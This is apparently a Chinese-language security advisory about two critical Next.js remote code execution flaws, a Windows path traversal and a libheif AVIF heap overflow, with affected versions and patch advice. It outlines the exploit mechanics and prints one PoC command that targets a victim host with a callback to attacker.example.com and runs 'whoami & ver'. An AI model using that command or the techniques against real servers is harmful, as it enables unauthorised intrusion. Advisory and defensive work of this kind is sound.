事件概述
Vercel 于 2026 年 8 月 25 日提前一天发布 8 月例行安全更新,修复了 Next.js 框架内两处可被未认证攻击者远程利用、直接获取服务器代码执行权的关键漏洞。CVE-2026-75604 是 Windows 部署独有的路径穿越漏洞(CVSS 3.1 9.0),攻击者可借此读出 Server Action 加密密钥并伪造动作绑定参数,在没有任何凭据的情况下执行任意命令;另一处漏洞以 GHSA-2xp9-vwfh-vxw4 标识(CVSS 4.0 9.5)位于依赖链路深处的 libheif 图像解码器中,由于特殊的 Alpha plane 处理逻辑,超出缓冲区约 16 KB 的数据可被写入,从而在 Next.js 的 AVIF 优化流水线里触发 RCE。
两处漏洞在 24 小时内由独立研究人员 evolutionstorm、B0RI、Hacktron 团队 rootxharsh 与 KarimPwnz 通过 GitHub 公告披露,奇安信 CERT 已在国内完成复现并公布 PoC 运行截图。当前未发现野外利用,但因受影响部署量很大,需立即升级。
技术细节:CVE-2026-75604 Windows 路径穿越
CVE-2026-75604 仅在以下三个条件同时满足时受影响:
- 同时启用 Pages Router 与 App Router;
- 未启用 Cache Components;
- 应用部署在 Windows 文件系统(含 WSL 子系统访问 NTFS 的场景)。
Next.js 会在 ISR(增量静态再生成)和 App Router 的增量缓存中将预渲染产物写入磁盘文件系统缓存,而缓存路径处理在解析 \\ 反斜杠时未做正确转义。攻击者只需发送包含反斜杠穿越的请求,即可读取磁盘上的 Server Action 加密清单,从而离线伪造 Server Action 的绑定参数,再通过网络请求触发任意方法执行。Linux 与 macOS 不受影响。
技术细节:AVIF / libheif 堆缓冲区溢出
Next.js 默认不开启 AVIF 优化,但只要在 next.config.js 中加入 images.formats: ['image/avif'] 就会调用 sharp → libheif 解码用户上传的图片。研究员构造一份带有 idat 与 auxC 双 Alpha plane 的恶意 AVIF:第一层为 8-bit,第二层为 16-bit。libheif 分配 8-bit 的缓冲区用于 scaler,但写入时按 16-bit 处理,约 16 KB 数据被写到越界位置。研究员公开 PoC 可在多款部署上获得 RCE。
# PoC 片段(来自奇安信 / Hacktron 公开)
python3 poc.py --target http://victim:3000 \
--callback-ip attacker.example.com \
--pages-cache-path /pages-cache/seed \
--app-cache-path /app-cache/seed \
--command "whoami & ver"
影响范围
- CVE-2026-75604:Next.js 13.4.0–15.5.23、16.0.0–16.3.2;
- AVIF 漏洞:Next.js 10.0.0–15.5.23、全部 16.x 至 16.3.2;
- 国内风险资产约 497,528 个,关联 IP 约 98,716 个(奇安信鹰图统计);
- 全球风险资产约 3,452,730 个,关联 IP 约 1,051,235 个。
修复建议
- 升级到 Next.js 15.5.24(Maintenance LTS)或 Next.js 16.3.3(Active LTS),随后执行
next build与next start强制重建缓存文件; - 升级后立即轮换
Server Action encryptionKey与相关签名密钥,防止攻击者复用旧密钥; - 在官方发布 libheif 1.23.2 补丁前,临时从
next.config.js中移除image/avif格式; - Windows 部署没有官方缓解措施,应作为优先级最高的升级对象;
- 在 WAF 规则集中加入针对反斜杠穿越与 AVIF 异常
idat结构的检测,规则参考奇安信 IDS 规则 ID 0x100229C1(Next.js 远程代码执行漏洞 CVE-2026-75604)。